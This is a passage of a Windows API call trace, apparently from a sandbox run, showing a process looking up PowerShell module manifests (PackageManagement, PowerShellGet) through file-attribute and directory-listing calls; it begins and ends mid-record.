ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0193.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e880) returned 1 [0193.790] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0193.790] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0193.790] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0193.790] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0193.790] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0193.790] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0193.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eb0c) returned 1 [0193.790] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0193.791] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0193.791] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x599e8bc | out: lpFindFileData=0x599e8bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fdca8 [0193.791] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.791] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0193.791] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0193.791] FindClose (in: hFindFile=0x3fdca8 | out: hFindFile=0x3fdca8) returned 1 [0193.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e87c) returned 1 [0193.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599eadc) returned 1 [0193.792] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0193.792] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0193.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e860) returned 1 [0193.792] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599eb24 | out: lpFileInformation=0x599eb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0193.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e85c) returned 1 [0193.792] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0193.792] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0193.792] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0193.792] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0193.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e884) returned 1 [0193.792] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2565164 | out: lpFileInformation=0x2565164*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0193.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e880) returned 1 [0193.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0193.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0193.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0193.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0193.793] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0193.794] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0193.797] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0193.812] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0193.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eb0c) returned 1 [0193.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0193.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0193.813] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x599e8bc | out: lpFindFileData=0x599e8bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fdca8 [0193.813] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.813] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0193.813] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0193.814] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0193.814] FindClose (in: hFindFile=0x3fdca8 | out: hFindFile=0x3fdca8) returned 1 [0193.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e87c) returned 1 [0193.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599eadc) returned 1 [0193.814] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0193.814] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0193.815] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0193.815] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0193.815] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0193.815] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0193.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0193.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0193.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.816] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0193.816] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0193.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eb0c) returned 1 [0193.817] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0193.817] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0193.817] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x599e8bc | out: lpFindFileData=0x599e8bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fdca8 [0193.817] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.817] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0193.817] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0193.818] FindClose (in: hFindFile=0x3fdca8 | out: hFindFile=0x3fdca8) returned 1 [0193.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e87c) returned 1 [0193.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599eadc) returned 1 [0193.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0193.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0193.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e860) returned 1 [0193.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599eb24 | out: lpFileInformation=0x599eb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0193.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e85c) returned 1 [0193.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0193.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0193.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0193.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0193.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e884) returned 1 [0193.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x256ec1c | out: lpFileInformation=0x256ec1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0193.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e880) returned 1 [0193.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0193.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0193.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0193.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0193.820] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0193.820] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0193.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eb0c) returned 1 [0193.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0193.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0193.821] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x599e8bc | out: lpFindFileData=0x599e8bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fdca8 [0193.821] FindNextFileW (in: hFindFile=0x3fdca8, 